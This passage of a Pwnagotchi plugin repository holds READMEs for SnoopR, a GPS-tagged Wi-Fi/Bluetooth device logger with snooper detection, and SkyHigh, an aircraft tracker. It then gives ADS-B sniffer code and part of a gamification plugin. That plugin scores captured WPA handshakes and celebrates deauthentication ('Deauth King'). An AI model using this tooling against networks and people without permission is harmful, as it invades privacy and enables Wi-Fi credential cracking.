specific networks (e.g., your home Wi-Fi or personal devices) from being logged or flagged to keep your data focused. Configurable via the whitelist option (e.g., ["MyHomeWiFi", "MyPhone"]). 617 | 618 | - **Automatic Data Pruning**: Deletes detection records older than a configurable number of days (default: 30) to manage database size and keep it efficient. Runs on startup with a DELETE query based on a cutoff date. 619 | 620 | - **Interactive Map**: Displays all detected devices on a dynamic map with sorting (by device type or snooper status), filtering (all, snoopers, or Bluetooth), and the ability to pan to a network's location by clicking on it in the table. Markers are blue for regular devices and red for snoopers. 621 | 622 | - **Real-Time Monitoring**: Shows live counts of detected networks, snoopers, and the last Bluetooth scan time (e.g., "Last Scan: 14:30:00") directly on the Pwnagotchi UI at position (7, 135). 623 | 624 | - **Customizable Detection**: Fine-tune movement and time thresholds to define what qualifies as a snooper, tailored to your needs. 625 | 626 | - **Reliable Bluetooth Scanning**: Includes a retry mechanism (up to three attempts with 1-second delays) for more consistent device name retrieval via hcitool name, ensuring better accuracy. Detects devices with hcitool inq --flush. 627 | 628 | - **Threaded Scans**: Bluetooth scans run in a separate thread every 45 seconds (configurable), ensuring smooth performance without interrupting other operations. 629 | 630 | - **Better Logging and Error Handling**: Improved logging for GPS warnings (e.g., unavailable coordinates) and Bluetooth errors (e.g., hcitool failures), making it easier to debug and maintain. 631 | 632 | - **Performance Optimizations:** Database indexes on detections.network_id, networks.mac, and detections.timestamp for faster queries. Batch insertions for Wi-Fi detections to reduce database overhead. 633 | 634 | - **Better Logging and Error Handling:** Improved logging for GPS warnings (e.g., unavailable coordinates), Bluetooth errors (e.g., hcitool failures), and mesh operations, making it easier to debug and maintain. 635 | 636 | ## Requirements 637 | 638 | Before installing SnoopR, ensure you have the following: 639 | 640 | - **GPS Adapter**: Connected via bettercap (easily done with the gps plugin). GPS is essential for logging device locations. 641 | 642 | - **Bluetooth Enabled**: Required for Bluetooth scanning. Ensure Bluetooth is activated on your Pwnagotchi (`sudo hciconfig hci0 up`). 643 | 644 | - **Internet Access (for Viewing)**: The device you use to view the web interface (e.g., your phone or computer) needs internet to load map tiles and Leaflet.js. The Pwnagotchi itself doesn't require an internet connection. 645 | 646 | 647 | ## Installation Instructions 648 | 649 | You can install SnoopR in two ways: the easy way (recommended) or the manual way. Here's how: 650 | 651 | ### Easy Way (Recommended) 652 | 653 | 1. **Update Your Config File** 654 | Edit `/etc/pwnagotchi/config.toml` and add the following lines to enable custom plugin repositories: 655 | 656 | ```toml 657 | main.confd = "/etc/pwnagotchi/conf.d/" 658 | main.custom_plugin_repos = [ 659 | "https://github.com/jayofelony/pwnagotchi-torch-plugins/archive/master.zip", 660 | "https://github.com/Sniffleupagus/pwnagotchi_plugins/archive/master.zip", 661 | "https://github.com/NeonLightning/pwny/archive/master.zip", 662 | "https://github.com/marbasec/UPSLite_Plugin_1_3/archive/master.zip", 663 | "https://github.com/wpa-2/Pwnagotchi-Plugins/archive/master.zip", 664 | "https://github.com/cyberartemio/wardriver-pwnagotchi-plugin/archive/main.zip", 665 | "https://github.com/AlienMajik/pwnagotchi_plugins/archive/refs/heads/main.zip" 666 | ] 667 | main.custom_plugins = "/usr/local/share/pwnagotchi/custom-plugins/" 668 | ``` 669 | 670 | 2. **Install the Plugin** 671 | Run these commands to update the plugin list and install SnoopR: 672 | 673 | ```bash 674 | sudo pwnagotchi update plugins 675 | sudo pwnagotchi plugins install snoopr 676 | ``` 677 | 678 | That's it! You're ready to configure SnoopR. 679 | 680 | ### Manual Way (Alternative) 681 | 682 | If you prefer a hands-on approach: 683 | 684 | 1. **Clone the SnoopR plugin repo from GitHub**: 685 | 686 | ```bash 687 | sudo git clone https://github.com/AlienMajik/pwnagotchi_plugins.git 688 | cd pwnagotchi_plugins 689 | ``` 690 | 691 | 2. **Copy the Plugin File** 692 | Move snoopr.py to your Pwnagotchi's custom plugins directory: 693 | 694 | ```bash 695 | sudo cp snoopr.py /usr/local/share/pwnagotchi/custom-plugins/ 696 | ``` 697 | 698 | Alternatively, if you're working from a computer, use SCP: 699 | 700 | ```bash 701 | sudo scp snoopr.py root@:/usr/local/share/pwnagotchi/custom-plugins/ 702 | ``` 703 | 704 | ## Configuration 705 | 706 | To enable and customize SnoopR, edit `/etc/pwnagotchi/config.toml` and add the following under the `[main.plugins.snoopr]` section: 707 | 708 | ```toml 709 | main.plugins.snoopr.enabled = true 710 | main.plugins.snoopr.path = "/root/snoopr" # Directory for the database 711 | main.plugins.snoopr.ui.enabled = true # Show stats on the Pwnagotchi UI 712 | main.plugins.snoopr.gps.method = "bettercap" # GPS source 713 | main.plugins.snoopr.movement_threshold = 0.2 # Distance (miles) for snooper detection 714 | main.plugins.snoopr.time_threshold_minutes = 5 # Time (minutes) between detections 715 | main.plugins.snoopr.bluetooth_enabled = true # Enable Bluetooth scanning 716 | main.plugins.snoopr.timer = 45 # Bluetooth scan interval (seconds) 717 | main.plugins.snoopr.whitelist = ["MyHomeWiFi", "MyPhone"] # Networks to exclude 718 | main.plugins.snoopr.prune_days = 30 # Days before pruning old data 719 | ``` 720 | 721 | ### Available Options 722 | 723 | - **enabled**: Set to true to activate the plugin. Default: false 724 | 725 | - **path**: Directory for the SQLite database (e.g., /root/snoopr/snoopr.db). Default: /root/snoopr 726 | 727 | - **ui.enabled**: Show stats on the Pwnagotchi UI. Default: true 728 | 729 | - **gps.method**: GPS data source (only "bettercap" supported). Default: "bettercap" 730 | 731 | - **movement_threshold**: Minimum distance (miles) a device must move to be flagged as a snooper. Default: 0.1 732 | 733 | - **time_threshold_minutes**: Time interval (minutes) between detections for snooper checks. Default: 5 734 | 735 | - **bluetooth_enabled**: Enable Bluetooth scanning. Default: true 736 | 737 | - **timer**: Interval (seconds) between Bluetooth scans. Default: 45 738 | 739 | - **whitelist**: List of network names (SSIDs or Bluetooth device names) to exclude from logging. Default: [] 740 | 741 | - **prune_days**: Number of days to retain detection records before pruning. Default: 30 742 | 743 | 744 | After editing the config, restart your Pwnagotchi to apply the changes: 745 | 746 | ```bash 747 | sudo systemctl restart pwnagotchi 748 | ``` 749 | 750 | ## Database Schema Updates 751 | 752 | On startup, SnoopR checks the detections table for channel and auth_mode columns using PRAGMA table_info. If missing, it adds them with ALTER TABLE commands, logging the updates (e.g., [SnoopR] Added "channel" column to detections table) for seamless compatibility. The database also includes indexes on detections.network_id, networks.mac, and detections.timestamp for faster queries. 753 | 754 | ## Usage 755 | 756 | Once installed and configured, SnoopR runs automatically when you power up your Pwnagotchi. Here's how it works: 757 | 758 | - **Wi-Fi Logging**: Logs Wi-Fi access points with details like MAC, SSID, channel, authentication mode, encryption, signal strength, and location. Skips whitelisted SSIDs during on_unfiltered_ap_list. 759 | 760 | - **Bluetooth Scanning**: If enabled, scans for Bluetooth devices every timer seconds using hcitool inq --flush, logging their details and locations. Retries name retrieval up to three times with hcitool name. 761 | 762 | - **Snooper Detection**: Flags devices as snoopers if they move beyond movement_threshold across at least three detections within time_threshold_minutes. Updates the is_snooper flag in the networks table. 763 | 764 | - **Whitelisting**: Excludes specified networks from being logged or flagged during Wi-Fi and Bluetooth scans. 765 | 766 | - **Data Pruning**: Automatically deletes old detection records from the detections table on startup if older than prune_days. 767 | 768 | ### Monitoring the UI 769 | 770 | Your Pwnagotchi's display will show real-time stats (if ui.enabled is true): 771 | 772 | - Number of detected Wi-Fi networks and snoopers 773 | - Number of detected Bluetooth devices and snoopers (if enabled) 774 | - Time of the last Bluetooth scan (e.g., "Last Scan: 14:30:00") 775 | 776 | ### Viewing Logged Networks 777 | 778 | To see detailed logs and the interactive map, access the web interface: 779 | 780 | 1. **Connect to Your Pwnagotchi's Network** 781 | - Via USB: Typically 10.0.0.2 782 | - Via Bluetooth tethering: Typically 172.20.10.2 783 | 784 | 2. **Open the Web Interface** 785 | In a browser on a device with internet access: 786 | - USB: http://10.0.0.2:8080/plugins/snoopr/ 787 | - Bluetooth: http://172.20.10.2:8080/plugins/snoopr/ 788 | 789 | 3. **Explore the Interface** 790 | - **Table**: Lists all detected networks with sorting (by “Device Type” or “Snooper”) and filtering (“All,” “Snoopers,” “Bluetooth,” or “Aircraft”). 791 | - **Map**: hows device locations—click a network in the table to pan the Leaflet.js map to its marker (blue for regular, red for snoopers, green for aircraft, gray for no coordinates) with popups showing details. 792 | - **Scroll Buttons**: "Scroll to Top" and "Scroll to Bottom" for easy navigation of long lists. 793 | 794 | 795 | 796 | 797 | 798 | 799 | ##Notes 800 | 801 | - **Database**: All data is stored in snoopr.db in the directory specified by path. 802 | - **Data Pruning**: Detection records older than prune_days are automatically deleted to manage database size. 803 | - **GPS Dependency**: Logging requires GPS data. If unavailable (latitude/longitude = "-"), a warning is logged, and Bluetooth scans are skipped. 804 | - **Web Interface Requirements**: The viewing device needs internet to load Leaflet.js and OpenStreetMap tiles. 805 | - **Bluetooth Troubleshooting**: If scanning fails, ensure hcitool is installed and Bluetooth is enabled (`sudo hciconfig hci0 up`). 806 | - **Logging**: Improved logging for GPS and Bluetooth issues (e.g., [SnoopR] Error running hcitool: ), aiding in debugging. 807 | 808 | ## Community and Contributions 809 | 810 | SnoopR thrives thanks to its community! We're always improving the plugin with new features and fixes. Want to get involved? Here's how: 811 | 812 | - **Contribute**: Submit pull requests with enhancements or bug fixes. 813 | - **Report Issues**: Found a bug? Let us know on the GitHub Issues page. 814 | - **Suggest Features**: Have an idea? Share it with us! 815 | 816 | Join the fun and help make SnoopR even better. 817 | 818 | ## Disclaimer 819 | 820 | SnoopR is built for educational and security testing purposes only. Always respect privacy and adhere to local laws when using this plugin. Use responsibly! 821 | 822 | --- 823 | 824 | # SkyHigh Plugin 825 | 826 | ## Overview 827 | 828 | SkyHigh is a custom plugin for Pwnagotchi that tracks nearby aircraft using the OpenSky Network API. It displays the number of detected aircraft on your Pwnagotchi's screen and provides an interactive map view via a webhook, featuring detailed aircraft types (helicopters, commercial jets, small planes, drones, gliders, military), DB flags, and flight path visualization. Distinct icons enhance the map, and a pruning feature keeps the log clean by removing outdated aircraft data. 829 | 830 | ## What’s New in Version 1.1.1 831 | 832 | - **The updated SkyHigh plugin (version 1.1.1) introduces a range of new features and improvements that enhance its functionality, usability, and performance. Below is a detailed breakdown of what’s new and how it makes the plugin better compared to its previous version:** 833 | 834 | - **Filtering Options in the Web Interface:** Users can now filter aircraft displayed in the web interface by callsign, model, and altitude range (minimum and maximum) using a new filter form in the HTML template. 835 | 836 | - **Export Capabilities (CSV and KML):** Users can download data for offline analysis or integration with tools like Google Earth (KML) or spreadsheet software (CSV), adding flexibility for processing or visualizing data outside the plugin. 837 | 838 | - **Metadata Caching:** Aircraft metadata (e.g., model, registration) is now cached in a JSON file (skyhigh_metadata.json), loaded at startup, and saved when the plugin unloads. Caching reduces repeated API calls for previously seen aircraft, improving performance and reducing network load—especially beneficial for frequent users tracking recurring aircraft. 839 | 840 | - **Type-Specific Icons** New map icons for commercial jets (blue), small planes (yellow), drones (purple), gliders (orange), and military aircraft (green), alongside helicopters (red). 841 | 842 | - **Background Data Fetching** Aircraft data is now fetched in a background thread using the _fetch_loop method, rather than in the main thread. This keeps the user interface responsive during data updates, preventing freezes or delays and enhancing the overall user experience. 843 | 844 | - **Blocklist and Allowlist Support:** New configuration options let users specify a blocklist (aircraft to exclude) and an allowlist (aircraft to include) based on ICAO24 codes. 845 | 846 | - **Improved Type Detection:** The get_aircraft_metadata method now uses enhanced logic to categorize aircraft types (e.g., helicopters, commercial jets, small planes, drones, gliders, military) based on manufacturer names, model prefixes (like "737" or "A320"), and typecodes. 847 | 848 | - **Enhanced Error Handling and Feedback** The plugin now handles more API error cases (e.g., missing data, authentication failures, rate limiting) and displays error messages and the last update time in the UI. 849 | 850 | - **Historical Position Tracking** The plugin stores up to 10 historical positions per aircraft in the historical_positions dictionary. While not yet fully utilized in the web interface, this sets the stage for future features like flight path visualization, offering potential for richer data analysis. 851 | 852 | 853 | ## How It’s Better Overall 854 | 855 | - **User-Friendly Interface:** The simplified table, filtering options, and export links make the web interface cleaner and more intuitive, focusing on essential data and user interaction. 856 | 857 | - **Performance Improvements:** Background fetching and metadata caching reduce resource usage and improve responsiveness, making the plugin more efficient. 858 | 859 | - **Flexibility and Control:** Features like blocklist/allowlist, filtering, and export options empower users to customize their experience and use data in diverse ways. 860 | 861 | - **Reliability:** Enhanced error handling and embedded icons ensure consistent operation, even under suboptimal conditions. 862 | 863 | - **Future-Ready:** Historical position tracking and improved type detection pave the way for additional features, such as flight path mapping or advanced analytics. 864 | 865 | ## How It Works 866 | 867 | - **Data Fetching:** Queries the OpenSky API every 60 seconds (configurable) to retrieve aircraft data within the specified radius, supporting both anonymous and authenticated requests. 868 | 869 | - **Metadata Enrichment:** Fetches detailed metadata (model, registration, DB flags, type categorization) for each aircraft using its ICAO24 code, with robust handling for missing data. 870 | 871 | - **Flight Path Fetching:** Retrieves recent flight paths (up to 4 hours) for aircraft, falling back to locally stored historical positions if flight track access is unavailable. 872 | 873 | - **Pruning:** Aircraft not seen within the prune_minutes interval are removed from the log to maintain efficiency. 874 | 875 | - **UI Display:** The Pwnagotchi screen shows the number of detected aircraft, refreshed periodically. 876 | 877 | - **Webhook Map:** The webhook (/plugins/skyhigh/) renders a table with extended aircraft details (velocity, track, squawk, etc.) and an interactive map with type-specific icons and clickable flight path visualization. 878 | 879 | ## Installation and Usage 880 | 881 | ### Prerequisites 882 | 883 | - A Pwnagotchi device with internet access. 884 | - GPS Adapter: For dynamic tracking, simply connect a GPS adapter to your Pwnagotchi and configure it with BetterCAP. The plugin will use real-time coordinates if available, falling back to static ones otherwise. 885 | - (Optional) A GPS module for dynamic coordinate tracking. 886 | 887 | ### Step-by-Step Installation 888 | 889 | You can install SkyHigh in two ways: the easy way (recommended) or the manual way. Here's how: 890 | 891 | #### Easy Way (Recommended) 892 | 893 | 1. **Update Your Config File** 894 | 895 | Edit `/etc/pwnagotchi/config.toml` and add the following lines to enable custom plugin repositories: 896 | ```toml 897 | main.confd = "/etc/pwnagotchi/conf.d/" 898 | main.custom_plugin_repos = [ 899 | "https://github.com/jayofelony/pwnagotchi-torch-plugins/archive/master.zip", 900 | "https://github.com/Sniffleupagus/pwnagotchi_plugins/archive/master.zip", 901 | "https://github.com/NeonLightning/pwny/archive/master.zip", 902 | "https://github.com/marbasec/UPSLite_Plugin_1_3/archive/master.zip", 903 | "https://github.com/wpa-2/Pwnagotchi-Plugins/archive/master.zip", 904 | "https://github.com/cyberartemio/wardriver-pwnagotchi-plugin/archive/main.zip", 905 | "https://github.com/AlienMajik/pwnagotchi_plugins/archive/refs/heads/main.zip" 906 | ] 907 | main.custom_plugins = "/usr/local/share/pwnagotchi/custom-plugins/" 908 | ``` 909 | 910 | 2. **Install the Plugin** 911 | 912 | Run these commands to update the plugin list and install SkyHigh: 913 | ```bash 914 | sudo pwnagotchi update plugins 915 | sudo pwnagotchi plugins install skyhigh 916 | ``` 917 | 918 | #### Manual Way (Alternative) 919 | 920 | If you prefer a hands-on approach: 921 | 922 | 1. **Clone the SkyHigh plugin repo from GitHub:** 923 | ```bash 924 | sudo git clone https://github.com/AlienMajik/pwnagotchi_plugins.git 925 | cd pwnagotchi_plugins 926 | ``` 927 | 928 | 2. **Copy the Plugin File** 929 | 930 | Move skyhigh.py to your Pwnagotchi's custom plugins directory: 931 | ```bash 932 | sudo cp skyhigh.py /usr/local/share/pwnagotchi/custom-plugins/ 933 | ``` 934 | 935 | Alternatively, if you're working from a computer, use SCP: 936 | ```bash 937 | sudo scp skyhigh.py root@:/usr/local/share/pwnagotchi/custom-plugins/ 938 | ``` 939 | 940 | ### Configure the Plugin 941 | 942 | Edit your config.toml file (typically located at `/etc/pwnagotchi/config.toml`) and add the following section: 943 | 944 | ```toml 945 | main.plugins.skyhigh.enabled = true 946 | main.plugins.skyhigh.timer = 60 # Fetch data every 60 seconds 947 | main.plugins.skyhigh.aircraft_file = "/root/handshakes/skyhigh_aircraft.json" 948 | main.plugins.skyhigh.adsb_x_coord = 160 # Screen X position 949 | main.plugins.skyhigh.adsb_y_coord = 80 # Screen Y position 950 | main.plugins.skyhigh.latitude = -66.273334 # Default latitude 951 | main.plugins.skyhigh.longitude = 100.984166 # Default longitude 952 | main.plugins.skyhigh.radius = 50 # Radius in miles 953 | main.plugins.skyhigh.prune_minutes = 5 # Prune data older than 5 minutes 954 | main.plugins.skyhigh.blocklist = [] 955 | main.plugins.skyhigh.allowlist = [] 956 | main.plugins.skyhigh.opensky_username = "your_username" # Optional OpenSky username 957 | main.plugins.skyhigh.opensky_password = "your_password" # Optional OpenSky password 958 | ``` 959 | 960 | ### Enable GPS (Optional) 961 | 962 | If you have a GPS adapter, connect it to your Pwnagotchi with the gps plugin and configure it in config.toml with BetterCAP: 963 | 964 | ```toml 965 | main.plugins.gps.enabled = true 966 | main.plugins.gps.device = "/dev/ttyUSB0" # Adjust to your GPS device path 967 | ``` 968 | 969 | ### Restart Pwnagotchi 970 | 971 | Restart with: 972 | ```bash 973 | pwnkill 974 | ``` 975 | Or: 976 | ```bash 977 | sudo systemctl restart pwnagotchi 978 | ``` 979 | 980 | ## Usage 981 | 982 | ### On-Screen Display 983 | The Pwnagotchi screen will show the number of detected aircraft, updating every minute (or as configured). 984 | 985 | ### Webhook Access 986 | 1. Open a browser and go to `http:///plugins/skyhigh/` to view a detailed map and table of aircraft data. 987 | 2. From the pwnagotchi plugins page, you can just click on the skyhigh plugin to open it as well. 988 | 989 | The map uses distinct icons for helicopters (red), commercial jets (blue), small planes (yellow), drones (purple), gliders (orange), and military aircraft (green). Popups show callsign, model, registration, altitude, velocity, track, squawk, and DB flags. Clicking a marker toggles the aircraft’s flight path visualization, showing its recent trajectory. 990 | 991 | ## Configuration Options 992 | 993 | - **timer:** Interval in seconds for fetching data (default: 60). 994 | - **aircraft_file:** Path to store aircraft data (default: `/root/handshakes/skyhigh_aircraft.json`). 995 | - **adsb_x_coord and adsb_y_coord:** Screen coordinates for the aircraft count display. 996 | - **latitude and longitude:** Default coordinates if GPS is unavailable. 997 | - **radius:** Search radius in miles for aircraft data. 998 | - **prune_minutes:** Time in minutes after which old data is pruned (default: 10). Set to 0 to disable pruning. 999 | - **opensky_username:** OpenSky username for authenticated API access (optional) 1000 | - **opensky_password:** OpenSky password for authenticated API access (optional). 1001 | 1002 | ## Known Issues and Solutions 1003 | 1004 | ### Transient Network Errors 1005 | The SkyHigh plugin may encounter a temporary error that causes it to stop working for 1–2 minutes before resuming automatically. This issue appears to be related to a network connectivity problem when fetching data from the OpenSky Network API. 1006 | 1007 | - **Description:** The plugin logs an error like `[SkyHigh] Error fetching data from API: ` but recovers on the next fetch cycle. 1008 | - **Solution:** No action is needed; the plugin is designed to handle these transient errors gracefully and resumes operation automatically. If persistent, check your internet connection. 1009 | 1010 | ## Why You'll Love It 1011 | 1012 | - **Real-Time Awareness:** Track aircraft with detailed data (velocity, track, squawk, etc.) as it happens. 1013 | - **Flexible Configuration:** Customize radius, update interval, pruning, and API credentials to suit your needs. 1014 | - **Interactive Map:** Explore aircraft details with type-specific icons and toggle flight paths for a dynamic experience. 1015 | - **Enhanced Data:** Rich metadata and categorization provide deeper insights into nearby aircraft. 1016 | - **Real-time aircraft tracking with a responsive, customizable interface** 1017 | - **Flexible filtering, export options, and blocklist/allowlist support.** 1018 | - **Future-ready with historical tracking for enhanced features.** 1019 | 1020 | Take your Pwnagotchi to the skies with SkyHigh! ✈️ 1021 | 1022 | This plugin fetches nearby aircraft data using the OpenSky Network API. 1023 | 1024 | **Acknowledgment:** Aircraft data is provided by the OpenSky Network. 1025 | 1026 | **Disclaimer:** This plugin is not affiliated with OpenSky Network. Data is used in accordance with their API terms. 1027 | -------------------------------------------------------------------------------- /adsbsniffer.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | import subprocess 4 | import json 5 | import time 6 | from datetime import datetime 7 | 8 | import pwnagotchi.plugins as plugins 9 | import pwnagotchi.ui.fonts as fonts 10 | from pwnagotchi.ui.components import LabeledValue 11 | from pwnagotchi.ui.view import BLACK 12 | 13 | class ADSBSniffer(plugins.Plugin): 14 | __author__ = '4li3nMaJ1k' 15 | __version__ = '0.1.0' 16 | __license__ = 'GPL3' 17 | __description__ = 'A plugin that captures ADS-B data from aircraft using RTL-SDR and logs it.' 18 | 19 | def __init__(self): 20 | self.options = { 21 | 'timer': 60, # Time interval in seconds for checking for new aircraft 22 | 'aircraft_file': '/root/handshakes/adsb_aircraft.json', # File to store detected aircraft information 23 | 'adsb_x_coord': 160, 24 | 'adsb_y_coord': 80 25 | } 26 | self.last_scan_time = 0 27 | self.data = {} 28 | 29 | def on_loaded(self): 30 | logging.info("[ADSB] ADSBSniffer plugin loaded.") 31 | if not os.path.exists(os.path.dirname(self.options['aircraft_file'])): 32 | os.makedirs(os.path.dirname(self.options['aircraft_file'])) 33 | if not os.path.exists(self.options['aircraft_file']): 34 | with open(self.options['aircraft_file'], 'w') as f: 35 | json.dump({}, f) 36 | with open(self.options['aircraft_file'], 'r') as f: 37 | self.data = json.load(f) 38 | 39 | def on_ui_setup(self, ui): 40 | ui.add_element('ADSB', LabeledValue(color=BLACK, 41 | label='ADSB', 42 | value=" ", 43 | position=(self.options["adsb_x_coord"], 44 | self.options["adsb_y_coord"]), 45 | label_font=fonts.Small, 46 | text_font=fonts.Small)) 47 | 48 | def on_ui_update(self, ui): 49 | current_time = time.time() 50 | if current_time - self.last_scan_time >= self.options['timer']: 51 | self.last_scan_time = current_time 52 | result = self.scan() 53 | ui.set('ADSB', result) 54 | 55 | def scan(self): 56 | logging.info("[ADSB] Scanning for ADS-B signals...") 57 | cmd = "timeout 10s rtl_adsb" 58 | try: 59 | output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) 60 | aircrafts = self.parse_output(output.decode('utf-8')) 61 | return f"{len(aircrafts)} aircrafts detected" 62 | except subprocess.CalledProcessError as e: 63 | if e.returncode == 124: # Graceful handling of the timeout exit status 64 | logging.info("[ADSB] Successfully completed ADS-B scan.") 65 | output = e.output.decode('utf-8') 66 | aircrafts = self.parse_output(output) 67 | return f"{len(aircrafts)} aircrafts detected" 68 | else: 69 | logging.error("[ADSB] Error running rtl_adsb: %s, output: %s", e, e.output.decode('utf-8')) 70 | return "Scan error" 71 | 72 | def parse_output(self, raw_data): 73 | aircrafts = [] 74 | for line in raw_data.split('\n'): 75 | if line.strip(): 76 | aircraft_data = line.split(',') 77 | if len(aircraft_data) >= 2: 78 | hex_id, signal = aircraft_data[0], aircraft_data[1] 79 | aircrafts.append({'hex': hex_id, 'signal_strength': signal}) 80 | self.data[hex_id] = {'last_seen': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), 81 | 'signal_strength': signal} 82 | with open(self.options['aircraft_file'], 'w') as f: 83 | json.dump(self.data, f) 84 | return aircrafts 85 | 86 | def on_unload(self, ui): 87 | with ui._lock: 88 | ui.remove_element('ADSB') 89 | -------------------------------------------------------------------------------- /age.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import logging 4 | import time 5 | import random 6 | import threading 7 | 8 | import pwnagotchi 9 | import pwnagotchi.plugins as plugins 10 | import pwnagotchi.ui.faces as faces 11 | import pwnagotchi.ui.fonts as fonts 12 | from pwnagotchi.ui.components import LabeledValue 13 | from pwnagotchi.ui.view import BLACK 14 | 15 | class Age(plugins.Plugin): 16 | __author__ = 'AlienMajik' 17 | __version__ = '3.1.0' 18 | __license__ = 'MIT' 19 | __description__ = ('An enhanced plugin with frequent titles, dynamic quotes, progress bars, ' 20 | 'random events, handshake streaks, personality evolution, and secret achievements. ' 21 | 'UI is optimized to avoid clutter.') 22 | 23 | DEFAULT_AGE_TITLES = { 24 | 100: "Baby Steps", 25 | 500: "Getting the Hang of It", 26 | 1000: "Neon Spawn", 27 | 2000: "Script Kiddie", 28 | 5000: "WiFi Outlaw", 29 | 10000: "Data Raider", 30 | 25000: "Prophet", 31 | 33333: "Off the Grid", 32 | 55555: "Multiversed", 33 | 111111: "Intergalactic" 34 | } 35 | 36 | DEFAULT_STRENGTH_TITLES = { 37 | 100: "Sparring Novice", 38 | 300: "Gear Tickler", 39 | 500: "Fleshbag", 40 | 1500: "Lightweight", 41 | 2000: "Deauth King", 42 | 2500: "Handshake Hunter", 43 | 3333: "Unstoppable", 44 | 55555: "Rev-9", 45 | 111111: "Kuato" 46 | } 47 | 48 | def __init__(self): 49 | # Default UI positions (x, y) 50 | self.default_positions = { 51 | 'age': (10, 40), 52 | 'strength': (80, 40), 53 | 'points': (10, 60), 54 | 'progress': (10, 80), 55 | 'personality': (10, 100), 56 | } 57 | 58 | # Core metrics 59 | self.epochs = 0 60 | self.train_epochs = 0 61 | self.network_points = 0 62 | self.handshake_count = 0 63 | self.last_active_epoch = 0 64 | self.data_path = '/root/age_strength.json' 65 | self.log_path = '/root/network_points.log' 66 | self.handshake_dir = '/home/pi/handshakes' 67 | 68 | # Configurable settings 69 | self.decay_interval = 50 70 | self.decay_amount = 10 71 | self.age_titles = self.DEFAULT_AGE_TITLES 72 | self.strength_titles = self.DEFAULT_STRENGTH_TITLES 73 | self.show_personality = False # Default to False to avoid clutter 74 | 75 | # Achievement tracking 76 | self.prev_age_title = "Unborn" 77 | self.prev_strength_title = "Untrained" 78 | 79 | # Points and quotes 80 | self.points_map = { 81 | 'wpa3': 10, 82 | 'wpa2': 5, 83 | 'wep': 2, 84 | 'wpa': 2 85 | } 86 | self.motivational_quotes = [ 87 | "Keep going, you're crushing it!", 88 | "You're a WiFi wizard in the making!", 89 | "More handshakes, more power!", 90 | "Don't stop now, you're almost there!", 91 | "Keep evolving, don't let decay catch you!" 92 | ] 93 | 94 | # New features 95 | self.last_handshake_enc = None 96 | self.last_decay_points = 0 97 | self.streak = 0 98 | self.active_event = None 99 | self.event_handshakes_left = 0 100 | self.event_multiplier = 1.0 101 | self.personality_points = {'aggro': 0, 'stealth': 0, 'scholar': 0} 102 | self.night_owl_handshakes = 0 103 | self.enc_types_captured = set() 104 | 105 | self.data_lock = threading.Lock() 106 | 107 | def on_loaded(self): 108 | # Load configuration options with fallbacks 109 | self.decay_interval = self.options.get('decay_interval', 50) 110 | self.decay_amount = self.options.get('decay_amount', 10) 111 | self.age_titles = self.options.get('age_titles', self.DEFAULT_AGE_TITLES) 112 | self.strength_titles = self.options.get('strength_titles', self.DEFAULT_STRENGTH_TITLES) 113 | self.points_map = self.options.get('points_map', self.points_map) 114 | self.motivational_quotes = self.options.get('motivational_quotes', self.motivational_quotes) 115 | self.show_personality = self.options.get('show_personality', False) 116 | 117 | self.load_data() 118 | self.initialize_handshakes() 119 | 120 | def initialize_handshakes(self): 121 | """Initialize handshake count based on existing .pcap files.""" 122 | if self.handshake_count == 0 and os.path.isdir(self.handshake_dir): 123 | existing = [f for f in os.listdir(self.handshake_dir) if f.endswith('.pcap')] 124 | self.handshake_count = len(existing) 125 | logging.info(f"[Age] Initialized with {self.handshake_count} handshakes") 126 | self.save_data() 127 | 128 | def get_age_title(self): 129 | """Determine age title based on epochs.""" 130 | thresholds = sorted(self.age_titles.keys(), reverse=True) 131 | for t in thresholds: 132 | if self.epochs >= t: 133 | return self.age_titles[t] 134 | return "Unborn" 135 | 136 | def get_strength_title(self): 137 | """Determine strength title based on train_epochs.""" 138 | thresholds = sorted(self.strength_titles.keys(), reverse=True) 139 | for t in thresholds: 140 | if self.train_epochs >= t: 141 | return self.strength_titles[t] 142 | return "Untrained" 143 | 144 | def random_motivational_quote(self): 145 | """Return a context-aware motivational quote.""" 146 | if self.last_handshake_enc: 147 | quote = f"Boom! That {self.last_handshake_enc.upper()} never saw you coming." 148 | self.last_handshake_enc = None 149 | return quote 150 | elif self.last_decay_points > 0: 151 | quote = f"Decay stung for {self.last_decay_points}. Time to fight back!" 152 | self.last_decay_points = 0 153 | return quote 154 | else: 155 | return random.choice(self.motivational_quotes) 156 | 157 | def random_inactivity_message(self, points_lost): 158 | """Return a random inactivity message with points lost.""" 159 | messages = [ 160 | f"Time to wake up, lost {points_lost} to rust!", 161 | f"Decayed by {points_lost}, keep it active!", 162 | "Stale, but you can still revive!", 163 | "Don't let inactivity hold you back!", 164 | "Keep moving, no room for decay!" 165 | ] 166 | return random.choice(messages) 167 | 168 | def check_achievements(self, agent): 169 | """Check and announce new age or strength achievements.""" 170 | current_age = self.get_age_title() 171 | current_strength = self.get_strength_title() 172 | 173 | if current_age != self.prev_age_title: 174 | agent.view().set('face', faces.HAPPY) 175 | agent.view().set('status', f"🎉 {current_age} Achieved! {self.random_motivational_quote()}") 176 | logging.info(f"[Age] New age title: {current_age}") 177 | self.prev_age_title = current_age 178 | 179 | if current_strength != self.prev_strength_title: 180 | agent.view().set('face', faces.MOTIVATED) 181 | agent.view().set('status', f"💪 Evolved to {current_strength}!") 182 | logging.info(f"[Age] New strength title: {current_strength}") 183 | self.prev_strength_title = current_strength 184 | 185 | def apply_decay(self, agent): 186 | """Apply decay to network points based on inactivity.""" 187 | inactive_epochs = self.epochs - self.last_active_epoch 188 | if inactive_epochs >= self.decay_interval: 189 | decay_factor = inactive_epochs / self.decay_interval 190 | points_lost = int(decay_factor * self.decay_amount) 191 | self.network_points = max(0, self.network_points - points_lost) 192 | 193 | if points_lost > 0: 194 | self.last_decay_points = points_lost 195 | self.streak = 0 # Reset streak on decay 196 | agent.view().set('face', faces.SAD) 197 | agent.view().set('status', self.random_inactivity_message(points_lost)) 198 | logging.info(f"[Age] Applied decay: lost {points_lost} points") 199 | self.last_active_epoch = self.epochs 200 | self.save_data() 201 | 202 | def on_ui_setup(self, ui): 203 | """Set up UI elements with configurable positions.""" 204 | def get_position(element): 205 | x = self.options.get(f"{element}_x", self.default_positions[element][0]) 206 | y = self.options.get(f"{element}_y", self.default_positions[element][1]) 207 | return (int(x), int(y)) 208 | 209 | positions = {key: 